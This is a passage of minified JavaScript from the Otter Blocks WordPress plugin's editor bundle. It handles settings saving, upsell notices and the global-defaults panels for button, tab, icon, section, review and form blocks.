M1627.382,1695.821 l-100.171-131.963l200.338-0.004L1627.382,1695.821z"}))}}},141:function(e,t,l){var o=l(8101),a=l.n(o),n=l(5736),r=l(9818),i=l(9307);let s={};t.Z=()=>{const{createNotice:e}=(0,r.dispatch)("core/notices"),[t,l]=(0,i.useState)("loading"),[o,c]=(0,i.useState)({});return(0,r.useSelect)((e=>{const{getEntityRecord:t}=e("core");if(Object.keys(o).length)return;const a=t("root","site");a&&(l("loaded"),c(a))}),[o]),[e=>s?.[e]||o?.[e],(t,o,r=(0,n.__)("Settings saved.","otter-blocks"),i=void 0,d=(()=>{}),u=(()=>{}))=>{l("saving");const b=new(a().models.Settings)({[t]:o}).save();b.success(((t,o)=>{"success"===o&&(l("loaded"),e("success",r,{isDismissible:!0,type:"snackbar",id:i})),"error"===o&&(l("error"),e("error",(0,n.__)("An unknown error occurred.","otter-blocks"),{isDismissible:!0,type:"snackbar",id:i})),s=t,c(t),d?.(t)})),b.error((t=>{var o;l("error"),e("error",null!==(o=t?.responseJSON?.message)&&void 0!==o?o:(0,n.__)("An unknown error occurred.","otter-blocks"),{isDismissible:!0,type:"snackbar",id:i}),u?.(t)}))},t]}},6206:function(e,t,l){l.d(t,{W:function(){return i},Y:function(){return r}});var o=l(9818),a=l(9307),n=l(4715);const r=(e=(()=>{}))=>(0,o.useSelect)((t=>{const{getView:l}=t("themeisle-gutenberg/data"),{__experimentalGetPreviewDeviceType:o}=!!t("core/edit-post")&&t("core/edit-post"),a=o?o():l();return{responsiveSetAttributes:(0,n.GM)(e,a),responsiveGetAttributes:(0,n._c)(a)}}),[]),i=(e,t,l,o="has-dark-bg",r="has-light-bg")=>{(0,a.useEffect)((()=>{const a="dark"===(0,n.Fv)(e),i="light"===(0,n.Fv)(e);let s=t.className||"";const c=e=>{s=s.split(" "),s.push(e),s=s.join(" ").trim()},d=e=>{s=s.replace(e,"").trim()};a&&!t?.className?.includes(o)?c(o):!a&&t?.className?.includes(o)&&d(o),i&&!t?.className?.includes(r)?c(r):!i&&t?.className?.includes(r)&&d(r),l({className:s})}),[e])}},6042:function(e,t,l){var o=l(9196),a=l(5736),n=l(4981),r=l(5609),i=l(9818),s=l(7701),c=l.n(s),d=l(9307),u=l(2694),b=l(340),m=l(4715),p=l(5225);if((0,n.updateCategory)("themeisle-blocks",{icon:b.otterIconColored}),(0,n.updateCategory)("themeisle-woocommerce-blocks",{icon:b.otterIconColored}),(0,u.addFilter)("otter.poweredBy","themeisle-gutenberg/powered-by-notice",(()=>(0,o.createElement)("div",{className:"o-is-powered"},(0,a.__)("Powered by Otter","otter-blocks")," ",(0,o.createElement)(r.Icon,{icon:b.otterIcon})))),Boolean(window.themeisleGutenberg.should_show_upsell)){const{createNotice:e}=(0,i.dispatch)("core/notices");e("info",(0,a.__)("Enjoying Otter Blocks? Enhance your site building experience with Otter Pro.","otter-blocks"),{isDismissible:!0,onDismiss:async()=>{let t,l={};await window.wp.api.loadPromise.then((()=>{t=new window.wp.api.models.Settings})),t.fetch().then((e=>{0<e.themeisle_blocks_settings_notifications.length&&(l=e.themeisle_blocks_settings_notifications)})),l.editor_upsell=!0;const o=new window.wp.api.models.Settings({themeisle_blocks_settings_notifications:l});await o.save().then((()=>{e("info",(0,a.__)("No problem! Enjoy using Otter!","otter-blocks"),{isDismissible:!0,type:"snackbar"})}))},actions:[{label:(0,a.__)("Tell me more!","otter-blocks"),variant:"link",noDefaultClasses:!0,onClick:()=>window.open((0,m.Wi)(window.themeisleGutenberg.upgradeLink,"tellmemore"),"_blank")}]})}c()((()=>{if(setTimeout((()=>{(()=>{const e={"themeisle-gutenberg/masonry":"core/gallery","themeisle-gutenberg/live-search":"core/search"};((0,i.select)("core/preferences")?.get("core/edit-post","hiddenBlockTypes")||[]).forEach((t=>{if(l=t,e.hasOwnProperty(l)){const l=e[t],o=wp?.blocks?.getBlockVariations(l),a=o.find((e=>e.name===t));if(!a)return;wp?.blocks?.unregisterBlockVariation(l,t),a.scope=[],wp?.blocks?.registerBlockVariation(l,a)}var l}))})()}),500),document.querySelector("svg.o-icon-gradient"))return;const e=document.createElement("DIV");e.setAttribute("style","height: 0; width: 0; overflow: hidden;"),e.setAttribute("aria-hidden","true"),document.querySelector("body").appendChild(e),(0,d.createRoot)(e).render((0,o.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",className:"o-icon-gradient",height:"0",width:"0",style:{opacity:0}},(0,o.createElement)("defs",null,(0,o.createElement)("linearGradient",{id:"o-icon-fill"},(0,o.createElement)("stop",{offset:"0%",stopColor:"#ED6F57",stopOpacity:"1"}),(0,o.createElement)("stop",{offset:"100%",stopColor:"#F22B6C",stopOpacity:"1"})))))})),window.otterStateMemory=new p.GlobalStateMemory},5912:function(e,t,l){l.d(t,{K2:function(){return i},Nn:function(){return o},it:function(){return r},rO:function(){return n},wS:function(){return a}}),l(2819);const o=(e,t)=>void 0!==e?`${e}${t}`:void 0,a=(e,t)=>{var l;if(null!==(l=t)&&void 0!==l||(t=void 0),void 0===e)return t;const o=parseInt(e);return Number.isNaN(o)?t:o},n=e=>({top:e,left:e,right:e,bottom:e}),r=e=>{if(void 0===e)return;const t=Object.values(e).find((e=>void 0!==e&&!e.startsWith("0")));return null!=t?t:Object.values(e).pop()},i=e=>{var t,l,o;if("undefined"==typeof window)return;window.oThemeStyles={colors:null!==(t=e?.colors?.map((({slug:e,color:t})=>({label:e,value:t}))))&&void 0!==t?t:[],gradients:null!==(l=e?.gradients?.map((({slug:e,gradient:t})=>({label:e,value:t}))))&&void 0!==l?l:[],cssVars:[]};const a=null!==(o=e?.styles?.map((({css:e})=>e))?.filter((e=>e?.includes("--wp--preset--"))))&&void 0!==o?o:[],n=["var(","linear-gradient(","important"];window.oThemeStyles.cssVars=a.flatMap((e=>e.split(":"))).flatMap((e=>e.split(";"))).filter((e=>void 0!==e&&n.every((t=>!e.includes(t))))).map((e=>((e,t)=>{const l=e.indexOf("--wp--preset--");if(-1===l)return;let o=l,a=l;for(;"{"!==e[o-1]&&"}"!==e[o-1]&&";"!==e[o-1]&&0<o-1;)o-=1;for(;":"!==e[a+1]&&"{"!==e[a+1]&&"}"!==e[a+1]&&";"!==e[a+1]&&a+1<e.length;)a+=1;const n=e.slice(o,a+1).trim();return n?.includes("--wp--preset--")?n:void 0})(e))).flatMap((e=>e?[e]:[]))}},820:function(e,t){t.Z={"themeisle-blocks/button-group":{},"themeisle-blocks/button":{},"themeisle-blocks/font-awesome-icons":{},"themeisle-blocks/advanced-columns":{},"themeisle-blocks/advanced-column":{},"themeisle-blocks/accordion":{},"themeisle-blocks/review":{features:[]},"themeisle-blocks/form":{},"themeisle-blocks/tabs":{},"themeisle-blocks/advanced-heading":{}}},81:function(e,t,l){var o=l(9196),a=l(5609),n=l(9818),r=window.wp.plugins,i=l(340),s=l(5736),c=l(2819),d=l(6989),u=l.n(d),b=l(9307),m=window.wp.editPost,p=l(2694),g=l(2462),h=l(6282),k=l(4981),y=l(3967),f=l.n(y),v=l(9522),_=({block:e,hasSettings:t,hiddenBlocks:l,setSelectedBlock:r})=>{const{showBlockTypes:i,hideBlockTypes:c}=(0,n.useDispatch)("core/edit-post"),d=(0,b.useCallback)(((e,t)=>{t?i(e):c(e)}),[]);if(!e)return null;const u=l.includes(e.name);return(0,o.createElement)("div",{className:f()("o-options-block-item",{editable:t,hidden:u})},(0,o.createElement)("div",{className:"o-options-block-item-icon"},(0,o.createElement)(a.Icon,{icon:e.icon.src})),(0,o.createElement)("div",{className:"o-options-block-item-label"},e.title),t&&(0,o.createElement)($,{path:"/block-settings/global-defaults",icon:v.Z,label:(0,s.__)("Open Settings","otter-blocks"),showTooltip:!0,className:"o-options-block-item-button",onClickAction:()=>r(e.name)}),(0,o.createElement)(a.Button,{icon:u?"hidden":"visibility",label:u?(0,s.__)("Show Block","otter-blocks"):(0,s.__)("Hide Block","otter-blocks"),showTooltip:!0,className:"o-options-block-item-button",onClick:()=>d(e.name,u)}))},C=({isAPILoaded:e,globalControls:t,setSelectedBlock:l})=>{const{hiddenBlocks:r}=(0,n.useSelect)((e=>({hiddenBlocks:e("core/edit-post").getPreference("hiddenBlockTypes")}))),i=(0,k.getBlockTypes)().filter((e=>"themeisle-blocks"===e.category&&(t.find((t=>t.name===e.name))||void 0===e.parent&&null==e.ancestor&&(void 0===e.supports.inserter||!0===e.supports.inserter))));return e?(0,o.createElement)(b.Fragment,null,(0,o.createElement)("p",{className:"padding-20"},(0,s.__)("Manage site-wide block defaults and visibility for Otter Blocks.","otter-blocks")),i.map((e=>{const a=t.find((t=>t.name===e.name));return(0,o.createElement)(_,{key:e.name,block:e,hasSettings:a,hiddenBlocks:r,setSelectedBlock:l})}))):(0,o.createElement)(a.Placeholder,null,(0,o.createElement)(a.Spinner,null))},w=l(820),E=l(2175),x=({blockName:e,defaults:t,changeConfig:l})=>(0,o.createElement)(b.Fragment,null,(0,o.createElement)(a.PanelBody,{title:(0,s.__)("Setting","otter-blocks")},(0,o.createElement)(a.SelectControl,{label:(0,s.__)("Gap","otter-blocks"),value:t.gap,options:[{label:(0,s.__)("No Gap","otter-blocks"),value:""},{label:(0,s.__)("Narrow (5px)","otter-blocks"),value:"narrow"},{label:(0,s.__)("Wide (10px)","otter-blocks"),value:"wide"},{label:(0,s.__)("Wider (20px)","otter-blocks"),value:"wider"}],onChange:t=>l(e,{gap:t})})),(0,o.createElement)(E.PanelColorSettings,{title:(0,s.__)("Color","otter-blocks"),initialOpen:!1,colorSettings:[{value:t.titleColor,onChange:t=>l(e,{titleColor:t}),label:(0,s.__)("Title","otter-blocks")},{value:t.activeTitleColor,onChange:t=>l(e,{activeTitleColor:t}),label:(0,s.__)("Active tab title","otter-blocks")},{value:t.titleBackground,onChange:t=>l(e,{titleBackground:t}),label:(0,s.__)("Title Background","otter-blocks")},{value:t.activeTitleBackground,onChange:t=>l(e,{activeTitleBackground:t}),label:(0,s.__)("Active tab title Background","otter-blocks")},{value:t.contentBackground,onChange:t=>l(e,{contentBackground:t}),label:(0,s.__)("Content Background","otter-blocks")},{value:t.borderColor,onChange:t=>l(e,{borderColor:t}),label:(0,s.__)("Border","otter-blocks")}]},(0,o.createElement)(E.ContrastChecker,{textColor:t.titleColor,backgroundColor:t.titleBackground}))),S=l(8189),T=l(4715),B=({blockName:e,defaults:t,changeConfig:l})=>{const[n,r]=(0,b.useState)(!1),i=()=>(0,o.createElement)(b.Fragment,null,(0,o.createElement)(S.Ik,{onChange:e=>r(e),value:n,options:[{value:!1,label:(0,s.__)("Normal","otter-blocks")},{value:!0,label:(0,s.__)("Hover","otter-blocks")}]}),(0,o.createElement)("br",null)),c=t=>{l(e,t)};return(0,o.createElement)(b.Fragment,null,(0,o.createElement)(a.PanelBody,{title:(0,s.__)("Colors","otter-blocks")},(0,o.createElement)(i,null),n?(0,o.createElement)(b.Fragment,{key:"with-hover"},(0,o.createElement)(S.Ed,{label:(0,s.__)("Text","otter-blocks"),colorValue:t.hoverColor,onColorChange:e=>c({hoverColor:e}),className:"is-list is-first"}),(0,o.createElement)(S.Ed,{label:(0,s.__)("Background","otter-blocks"),colorValue:t.hoverBackground,onColorChange:e=>c({hoverBackground:e}),className:"is-list"}),(0,o.createElement)(S.Ed,{label:(0,s.__)("Border","otter-blocks"),colorValue:t.hoverBorder,onColorChange:e=>c({hoverBorder:e}),className:"is-list"})):(0,o.createElement)(b.Fragment,{key:"without-hover"},(0,o.createElement)(S.Ed,{label:(0,s.__)("Text","otter-blocks"),colorValue:t.color,onColorChange:e=>c({color:e}),className:"is-list is-first"}),(0,o.createElement)(S.Ed,{label:(0,s.__)("Background","otter-blocks"),colorValue:t.background,onColorChange:e=>c({background:e}),className:"is-list"}),(0,o.createElement)(S.Ed,{label:(0,s.__)("Border","otter-blocks"),colorValue:t.border,onColorChange:e=>c({border:e}),className:"is-list"}))),(0,o.createElement)(a.PanelBody,{title:(0,s.__)("Border & Box Shadow","otter-blocks"),initialOpen:!0},(0,o.createElement)(a.__experimentalBoxControl,{label:(0,s.__)("Border Width","otter-blocks"),values:(0,T.Yw)(t.borderSize),onChange:e=>c({borderSize:e})}),(0,o.createElement)(a.__experimentalBoxControl,{label:(0,s.__)("Border Radius","otter-blocks"),values:(0,T.Yw)(t.borderRadius),onChange:e=>c({borderRadius:e})}),(0,o.createElement)(S.Fi,{label:(0,s.__)("Box Shadow","otter-blocks"),attributes:t,setAttributes:c,resetValues:{boxShadow:!1,boxShadowColor:void 0,boxShadowColorOpacity:50,boxShadowBlur:5,boxShadowSpread:1,boxShadowHorizontal:0,boxShadowVertical:0,hoverBoxShadowColor:void 0,hoverBoxShadowColorOpacity:50,hoverBoxShadowBlur:5,hoverBoxShadowSpread:1,hoverBoxShadowHorizontal:0,hoverBoxShadowVertical:0},onClick:()=>c({boxShadow:!0})},(0,o.createElement)(i,null),n?(0,o.createElement)(b.Fragment,{key:"with-hover"},(0,o.createElement)(E.__experimentalColorGradientControl,{label:(0,s.__)("Shadow Color on Hover","otter-blocks"),colorValue:t.hoverBoxShadowColor,onColorChange:e=>c({hoverBoxShadowColor:e})}),(0,o.createElement)(a.RangeControl,{label:(0,s.__)("Opacity","otter-blocks"),value:t.hoverBoxShadowColorOpacity,onChange:e=>c({hoverBoxShadowColorOpacity:e}),min:0,max:100}),(0,o.createElement)(a.RangeControl,{label:(0,s.__)("Blur","otter-blocks"),value:t.hoverBoxShadowBlur,onChange:e=>c({hoverBoxShadowBlur:e}),min:0,max:100}),(0,o.createElement)(a.RangeControl,{label:(0,s.__)("Spread","otter-blocks"),value:t.hoverBoxShadowSpread,onChange:e=>c({hoverBoxShadowSpread:e}),min:-100,max:100}),(0,o.createElement)(a.RangeControl,{label:(0,s.__)("Horizontal","otter-blocks"),value:t.hoverBoxShadowHorizontal,onChange:e=>c({hoverBoxShadowHorizontal:e}),min:-100,max:100}),(0,o.createElement)(a.RangeControl,{label:(0,s.__)("Vertical","otter-blocks"),value:t.hoverBoxShadowVertical,onChange:e=>c({hoverBoxShadowVertical:e}),min:-100,max:100})):(0,o.createElement)(b.Fragment,{key:"without-hover"},(0,o.createElement)(E.__experimentalColorGradientControl,{label:(0,s.__)("Shadow Color","otter-blocks"),colorValue:t.boxShadowColor,onColorChange:e=>c({boxShadowColor:e})}),(0,o.createElement)(a.RangeControl,{label:(0,s.__)("Opacity","otter-blocks"),value:t.boxShadowColorOpacity,onChange:e=>c({boxShadowColorOpacity:e}),min:0,max:100}),(0,o.createElement)(a.RangeControl,{label:(0,s.__)("Blur","otter-blocks"),value:t.boxShadowBlur,onChange:e=>c({boxShadowBlur:e}),min:0,max:100}),(0,o.createElement)(a.RangeControl,{label:(0,s.__)("Spread","otter-blocks"),value:t.boxShadowSpread,onChange:e=>c({boxShadowSpread:e}),min:-100,max:100}),(0,o.createElement)(a.RangeControl,{label:(0,s.__)("Horizontal","otter-blocks"),value:t.boxShadowHorizontal,onChange:e=>c({boxShadowHorizontal:e}),min:-100,max:100}),(0,o.createElement)(a.RangeControl,{label:(0,s.__)("Vertical","otter-blocks"),value:t.boxShadowVertical,onChange:e=>c({boxShadowVertical:e}),min:-100,max:100})))))},M=l(1967),P=l(6206),z=({blockName:e,defaults:t,changeConfig:l})=>{var n;const r=t=>l(e,t),i=(e,t)=>({top:e,bottom:e,right:t,left:t}),[c,d]=(0,b.useState)({padding:i(t.paddingTopBottom,t.paddingLeftRight),paddingTablet:t.paddingTablet,paddingMobile:t.paddingMobile,align:t.align}),[u,m]=(0,b.useState)(!1),{responsiveSetAttributes:p,responsiveGetAttributes:g}=(0,P.Y)((e=>d({padding:i(t.paddingTopBottom,t.paddingLeftRight),paddingTablet:t.paddingTablet,paddingMobile:t.paddingMobile,align:t.align,...e})));return(0,b.useEffect)((()=>{u&&(r({paddingTopBottom:c?.padding?.top,paddingLeftRight:c?.padding?.right,paddingTablet:c?.paddingTablet,paddingMobile:c?.paddingMobile,align:c?.align}),m(!1))}),[c.padding,c.paddingTablet,c.paddingMobile,u]),(0,o.createElement)(b.Fragment,null,(0,o.createElement)(a.PanelBody,{title:(0,s.__)("Dimensions","otter-blocks")},(0,o.createElement)(S.n9,{label:(0,s.__)("Screen Type","otter-blocks")},(0,o.createElement)(a.__experimentalBoxControl,{label:(0,s.__)("Padding","otter-blocks"),values:null!==(n=g([i(t.paddingTopBottom,t.paddingLeftRight),t.paddingTablet,t.paddingMobile]))&&void 0!==n?n:i("15px","20px"),onChange:e=>{p(e,["padding","paddingTablet","paddingMobile"]),m(!0)},splitOnAxis:!0})),(0,o.createElement)(a.__experimentalUnitControl,{label:(0,s.__)("Spacing","otter-blocks"),value:(0,T.Yj)(t.spacing),onChange:e=>r({spacing:e}),step:.1})),(0,o.createElement)(a.PanelBody,{title:(0,s.__)("Typography","otter-blocks"),initialOpen:!0},(0,o.createElement)(M.Z,{enableComponents:{fontFamily:!0,appearance:!0,lineHeight:!0,letterCase:!0},componentsValue:{fontSize:t.fontSize,fontFamily:t.fontFamily,lineHeight:t.lineHeight,appearance:t.fontVariant,letterCase:t.fontStyle},onChange:e=>{r({fontSize:e.fontSize,fontFamily:e.fontFamily,lineHeight:e.lineHeight,fontVariant:e.appearance,fontStyle:e.letterCase})}})))},F=l(5912);const R=[{name:(0,s.__)("Small","otter-blocks"),size:"16px",slug:"small"},{name:(0,s.__)("Medium","otter-blocks"),size:"32px",slug:"medium"},{name:(0,s.__)("Large","otter-blocks"),size:"48px",slug:"large"},{name:(0,s.__)("XL","otter-blocks"),size:"60px",slug:"xl"}];var L=({blockName:e,defaults:t,changeConfig:l})=>{var n,r,i;const[d,u]=(0,b.useState)(!1);return(0,o.createElement)(b.Fragment,null,(0,o.createElement)(a.PanelBody,{title:(0,s.__)("Icon","otter-blocks")},(0,o.createElement)(a.SelectControl,{label:(0,s.__)("Icon Library","otter-blocks"),value:t.library||"fontawesome",options:[{label:(0,s.__)("Font Awesome","otter-blocks"),value:"fontawesome"},{label:(0,s.__)("ThemeIsle Icons","otter-blocks"),value:"themeisle-icons"}],onChange:t=>{l(e,{library:t,icon:"fontawesome"===t?"themeisle":"balance",prefix:"fab"})}})),(0,o.createElement)(a.PanelBody,{title:(0,s.__)("Sizing","otter-blocks")},(0,o.createElement)(a.FontSizePicker,{fontSizes:R,withReset:!0,value:null!==(n=t.fontSize)&&void 0!==n?n:"16px",onChange:t=>l(e,{fontSize:t})}),(0,o.createElement)("hr",null),(0,o.createElement)(a.__experimentalBoxControl,{label:(0,s.__)("Padding","otter-blocks"),values:(0,c.isObjectLike)(t.padding)?t.padding:(0,F.rO)((0,T.Yj)(null!==(r=t.padding)&&void 0!==r?r:5)),onChange:t=>l(e,{padding:t})}),(0,o.createElement)("hr",null),(0,o.createElement)(a.__experimentalBoxControl,{label:(0,s.__)("Margin","otter-blocks"),values:(0,c.isObjectLike)(t.margin)?t.margin:(0,F.rO)((0,T.Yj)(null!==(i=t.margin)&&void 0!==i?i:5)),onChange:t=>l(e,{margin:t})})),(0,o.createElement)(a.PanelBody,{title:(0,s.__)("Color","otter-blocks"),initialOpen:!1},(0,o.createElement)(S.Ik,{onChange:e=>u(e),value:d,options:[{value:!1,label:(0,s.__)("Normal","otter-blocks")},{value:!0,label:(0,s.__)("Hover","otter-blocks")}]}),(0,o.createElement)("br",null),d?(0,o.createElement)(b.Fragment,null,(0,o.createElement)(a.Disabled,{isDisabled:t.isSynced?.includes("backgroundColorHover")||!1,className:"o-disabled"},(0,o.createElement)(S.Ed,{label:(0,s.__)("Background","otter-blocks"),colorValue:t.backgroundColorHover,onColorChange:t=>l(e,{backgroundColorHover:t}),className:"is-list is-first"})),(0,o.createElement)(a.Disabled,{isDisabled:t.isSynced?.includes("textColorHover")||!1,className:"o-disabled"},(0,o.createElement)(S.Ed,{label:(0,s.__)("Icon","otter-blocks"),colorValue:t.textColorHover,onColorChange:t=>l(e,{textColorHover:t}),className:"is-list is-last"})),(0,o.createElement)("br",null),(0,o.createElement)(E.ContrastChecker,{textColor:t.textColorHover,backgroundColor:t.backgroundColorHover})):(0,o.createElement)(b.Fragment,null,(0,o.createElement)(a.Disabled,{isDisabled:t.isSynced?.includes("backgroundColor")||!1,className:"o-disabled"},(0,o.createElement)(S.Ed,{label:(0,s.__)("Background","otter-blocks"),colorValue:t.backgroundColor,onColorChange:t=>l(e,{backgroundColor:t}),className:"is-list is-first"})),(0,o.createElement)(a.Disabled,{isDisabled:t.isSynced?.includes("textColor")||!1,className:"o-disabled"},(0,o.createElement)(S.Ed,{label:(0,s.__)("Icon","otter-blocks"),colorValue:t.textColor,onColorChange:t=>l(e,{textColor:t}),className:"is-list is-last"})),(0,o.createElement)("br",null),(0,o.createElement)(E.ContrastChecker,{textColor:t.textColor,backgroundColor:t.backgroundColor}))))},O=({blockName:e,defaults:t,changeConfig:l})=>{const r=(0,n.useSelect)((e=>{const{__experimentalGetPreviewDeviceType:t}=e("core/edit-post");return t()}),[]);return(0,o.createElement)(b.Fragment,null,(0,o.createElement)(a.PanelBody,{title:(0,s.__)("Sizing","otter-blocks")},(0,o.createElement)(S.n9,{label:(0,s.__)("Screen Type","otter-blocks")},(0,o.createElement)(a.__experimentalBoxControl,{label:(0,s.__)("Padding","otter-blocks"),values:(()=>{switch(r){case"Desktop":return t.padding;case"Tablet":return t.paddingTablet;case"Mobile":return t.paddingMobile;default:return}})(),inputProps:{min:0,max:500},onChange:t=>{switch((0,T.CJ)(t)&&(t=void 0),r){case"Desktop":return l(e,{padding:t});case"Tablet":return l(e,{paddingTablet:t});case"Mobile":return l(e,{paddingMobile:t});default:return}}}),(0,o.createElement)("hr",null),(0,o.createElement)(a.__experimentalBoxControl,{label:(0,s.__)("Margin","otter-blocks"),values:(()=>{switch(r){case"Desktop":return t.margin;case"Tablet":return t.marginTablet;case"Mobile":return t.marginMobile;default:return}})(),inputProps:{min:-500,max:500},sides:["top","bottom"],onChange:t=>{switch((0,T.CJ)(t)&&(t=void 0),"object"==typeof t&&(t=Object.fromEntries(Object.entries(t).filter((([e,t])=>null!==t)))),r){case"Desktop":return l(e,{margin:t});case"Tablet":return l(e,{marginTablet:t});case"Mobile":return l(e,{marginMobile:t});default:return}}}))),(0,o.createElement)(a.PanelBody,{title:(0,s.__)("Section Structure","otter-blocks"),initialOpen:!1},(0,o.createElement)(S.n9,{label:(0,s.__)("Maximum Content Width","otter-blocks")},(0,o.createElement)(a.__experimentalUnitControl,{value:(()=>{switch(r){case"Desktop":return t.columnsWidth;case"Tablet":return t.columnsWidthTablet;case"Mobile":return t.columnsWidthMobile;default:return}})(),onChange:t=>{switch(r){case"Desktop":return l(e,{columnsWidth:t});case"Tablet":return l(e,{columnsWidthTablet:t});case"Mobile":return l(e,{columnsWidthMobile:t});default:return}}})),(0,o.createElement)(S.Cd,{values:["columnsWidth","columnsWidthTablet","columnsWidthMobile"],setAttributes:t=>l(e,t)}),t.columnsWidth&&(0,o.createElement)(a.BaseControl,{label:(0,s.__)("Horizontal Align","otter-blocks")},(0,o.createElement)(S.Ik,{value:t.horizontalAlign,options:[{icon:"editor-alignleft",label:(0,s.__)("Left","otter-blocks"),value:"flex-start"},{icon:"editor-aligncenter",label:(0,s.__)("Center","otter-blocks"),value:"center"},{icon:"editor-alignright",label:(0,s.__)("Right","otter-blocks"),value:"flex-end"}],onChange:o=>(o=>{if(t.horizontalAlign===o)return l(e,{horizontalAlign:"unset"});l(e,{horizontalAlign:o})})(o),hasIcon:!0}))))},I=l(6993),H=({blockName:e,defaults:t,changeConfig:l})=>{const r=(0,n.useSelect)((e=>{const{__experimentalGetPreviewDeviceType:t}=e("core/edit-post");return t()}),[]);return(0,o.createElement)(b.Fragment,null,(0,o.createElement)(a.PanelBody,{title:(0,s.__)("Sizing","otter-blocks")},(0,o.createElement)(I.Z,{label:(0,s.__)("Screen Type","otter-blocks")},(0,o.createElement)(a.__experimentalBoxControl,{label:(0,s.__)("Padding","otter-blocks"),values:(()=>{switch(r){case"Desktop":return t.padding;case"Tablet":return t.paddingTablet;case"Mobile":return t.paddingMobile;default:return}})(),inputProps:{min:0,max:500},onChange:t=>{switch((0,T.CJ)(t)&&(t=void 0),r){case"Desktop":return l(e,{padding:t});case"Tablet":return l(e,{paddingTablet:t});case"Mobile":return l(e,{paddingMobile:t});default:return}}}),(0,o.createElement)("hr",null),(0,o.createElement)(a.__experimentalBoxControl,{label:(0,s.__)("Margin","otter-blocks"),values:(()=>{switch(r){case"Desktop":return t.margin;case"Tablet":return t.marginTablet;case"Mobile":return t.marginMobile;default:return}})(),inputProps:{min:-500,max:500},onChange:t=>{switch((0,T.CJ)(t)&&(t=void 0),r){case"Desktop":return l(e,{margin:t});case"Tablet":return l(e,{marginTablet:t});case"Mobile":return l(e,{marginMobile:t});default:return}}}))))};const N=({title:e,remove:t,children:l})=>{const[n,r]=(0,b.useState)(!1);return(0,o.createElement)("div",{className:"o-review__inspector_panel_item"},(0,o.createElement)("div",{className:"o-review__inspector_panel_item__header"},(0,o.createElement)(a.Button,{className:"o-review__inspector_panel_item__title",onClick:()=>r(!n)},e),(0,o.createElement)(a.Button,{icon:"no-alt",label:(0,s.__)("Remove","otter-blocks"),showTooltip:!0,className:"o-review__inspector_panel_item__arrow",onClick:t})),n&&(0,o.createElement)("div",{className:"o-review__inspector_panel_item__content"},l))};var A=({blockName:e,defaults:t,changeConfig:l})=>{const n=t=>l(e,t),r=(e,l)=>{const o=[...t.features];o[e]={...o[e],...l},n({features:o})};return(0,o.createElement)(b.Fragment,null,(0,o.createElement)(a.BaseControl,null,(0,o.createElement)(a.TextControl,{label:(0,s.__)("Currency","otter-blocks"),type:"text",placeholder:(0,s.__)("Currency code, like USD or EUR.","otter-blocks"),value:t.currency,onChange:e=>n({currency:e})}),(0,s.__)("Currency code in three digit ISO 4217 code.","otter-blocks")+" ",(0,o.createElement)(a.ExternalLink,{href:"https://en.wikipedia.org/wiki/ISO_4217#Active_codes"},(0,s.__)("List of ISO 4217 codes.","otter-blocks"))),(0,o.createElement)(a.PanelBody,{title:(0,s.__)("Product Features","otter-blocks"),initialOpen:!1},0<t?.features?.length&&t?.features?.map(((e,l)=>(0,o.createElement)(N,{key:l,title:e.title||(0,s.__)("Feature","otter-blocks"),remove:()=>(e=>{let l=[...t.features];l=l.filter(((t,l)=>l!==e)),n({features:l})})(l)},(0,o.createElement)(a.TextControl,{label:(0,s.__)("Title","otter-blocks"),type:"text",placeholder:(0,s.__)("Feature title","otter-blocks"),value:e.title,onChange:e=>r(l,{title:e})}),(0,o.createElement)(a.RangeControl,{label:(0,s.__)("Rating","otter-blocks"),value:e.rating,onChange:e=>r(l,{rating:Number(e)}),step:.1,min:1,max:10})))),(0,o.createElement)(a.Button,{isSecondary:!0,isLarge:!0,className:"o-review__inspector_add",onClick:()=>{const e=[...t.features];e.push({title:(0,s.__)("Feature","otter-blocks"),rating:9}),n({features:e})}},(0,s.__)("Add Feature","otter-blocks"))),(0,o.createElement)(E.PanelColorSettings,{title:(0,s.__)("Color","otter-blocks"),initialOpen:!1,colorSettings:[{value:t.backgroundColor,onChange:t=>l(e,{backgroundColor:t}),label:(0,s.__)("Background","otter-blocks")},{value:t.textColor,onChange:t=>l(e,{textColor:t}),label:(0,s.__)("Text","otter-blocks")},{value:t.primaryColor,onChange:t=>l(e,{primaryColor:t}),label:(0,s.__)("Button","otter-blocks")},{value:t.buttonTextColor,onChange:t=>l(e,{buttonTextColor:t}),label:(0,s.__)("Button Text","otter-blocks")},{value:t.borderColor,onChange:t=>l(e,{borderColor:t}),label:(0,s.__)("Border","otter-blocks")},{value:t.starsColor,onChange:t=>l(e,{starsColor:t}),label:(0,s.__)("Stars","otter-blocks")},{value:t.prosColor,onChange:t=>l(e,{prosColor:t}),label:(0,s.__)("Pros","otter-blocks")},{value:t.consColor,onChange:t=>l(e,{consColor:t}),label:(0,s.__)("Cons","otter-blocks")}]},(0,o.createElement)(E.ContrastChecker,{textColor:t.textColor,backgroundColor:t.backgroundColor}),(0,o.createElement)(E.ContrastChecker,{textColor:t.buttonTextColor,backgroundColor:t.parameter})))};const V=[{name:(0,s.__)("Small","otter-blocks"),size:"0.875em",slug:"small"},{name:(0,s.__)("Medium","otter-blocks"),size:"1em",slug:"medium"},{name:(0,s.__)("Large","otter-blocks"),size:"1.125em",slug:"large"},{name:(0,s.__)("XL","otter-blocks"),size:"1.25em",slug:"xl"}];var D=({blockName:e,defaults:t,changeConfig:l})=>{var n,r,i,d,u,m;const p=t=>l(e,t),{responsiveSetAttributes:g,responsiveGetAttributes:h}=(0,P.Y)(p),[k,y]=(0,b.useState)("normal");return(0,o.createElement)(b.Fragment,null,(0,o.createElement)(E.PanelColorSettings,{title:(0,s.__)("Form Color","otter-blocks"),initialOpen:!0,colorSettings:[{value:t.labelColor,onChange:e=>p({labelColor:e}),label:(0,s.__)("Label","otter-blocks")},{value:t.inputColor,onChange:e=>p({inputColor:e}),label:(0,s.__)("Input Text","otter-blocks")},{value:t.inputBackgroundColor,onChange:e=>p({inputBackgroundColor:e}),label:(0,s.__)("Input Background","otter-blocks")},{value:t.inputBorderColor,onChange:e=>p({inputBorderColor:e}),label:(0,s.__)("Border","otter-blocks")},{value:t.helpLabelColor,onChange:e=>p({helpLabelColor:e}),label:(0,s.__)("Helper Label","otter-blocks")},{value:t.inputRequiredColor,onChange:e=>p({inputRequiredColor:e}),label:(0,s.__)("Required Label","otter-blocks")},{value:t.submitMessageColor,onChange:e=>p({submitMessageColor:e}),label:(0,s.__)("Success Message","otter-blocks")},{value:t.submitMessageErrorColor,onChange:e=>p({submitMessageErrorColor:e}),label:(0,s.__)("Error 